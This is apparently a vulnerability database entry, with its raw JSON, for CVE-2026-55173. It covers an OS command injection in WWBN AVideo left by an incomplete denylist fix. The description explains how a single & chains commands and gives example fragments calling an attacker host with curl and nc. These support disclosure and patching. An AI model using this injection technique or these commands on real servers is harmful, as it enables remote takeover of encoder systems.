FKIE_CVE-2026-55173

Vulnerability from fkie_nvd - Published: 2026-07-16 21:17 - Updated: 2026-07-17 18:36
Severity
8.1 (High) - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Summary
WWBN AVideo is an open source video platform. Versions 29.0 and below remain vulnerable to OS command injection because the fix for CVE-2026-33482 was incomplete and still does not neutralize a single & ( the shell background operator). CVE-2026-33482 reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, \n, \r to the denylist character class and a str_replace('&&', '', ...), but did not account for the single &. ffmpeg.json.php builds the command from _decryptString(getInput('codeToExecEncrypted')). This is the same threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (AV:N/AC:H/PR:N). Multiple &-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the > strip, but command execution (e.g. & curl http://attacker/..., & nc ..., dropping/running a file) is not. This issue has been patched by this commit: https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f.
References
security-advisories@github.comhttps://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f
security-advisories@github.comhttps://github.com/WWBN/AVideo/security/advisories/GHSA-wc3f-xc32-435f
134c704f-9b21-4f2e-91b3-4a467353bcc0https://github.com/WWBN/AVideo/security/advisories/GHSA-wc3f-xc32-435f
Impacted products
Vendor Product Version
To clipboard 

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "AVideo",
          "vendor": "WWBN",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 29.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "WWBN AVideo is an open source video platform. Versions 29.0 and below remain vulnerable to OS command injection because the fix for CVE-2026-33482 was incomplete and still does not neutralize a single \u0026 (\u00a0the shell background operator). CVE-2026-33482 reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, \\n, \\r to the denylist character class and a str_replace(\u0027\u0026\u0026\u0027, \u0027\u0027, ...), but did not account for the single \u0026. ffmpeg.json.php builds the command from _decryptString(getInput(\u0027codeToExecEncrypted\u0027)). This is the same threat model the original advisory accepted (\u201can attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server\u201d) and the same CVSS basis (AV:N/AC:H/PR:N). Multiple \u0026-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the \u003e strip, but command execution (e.g. \u0026 curl http://attacker/..., \u0026 nc ..., dropping/running a file) is not. This issue has been patched by this commit: https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f."
    }
  ],
  "id": "CVE-2026-55173",
  "lastModified": "2026-07-17T18:36:41.143",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.1,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.2,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-55173",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-17T13:44:11.844066Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-16T21:17:21.483",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-wc3f-xc32-435f"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-wc3f-xc32-435f"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-78"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}



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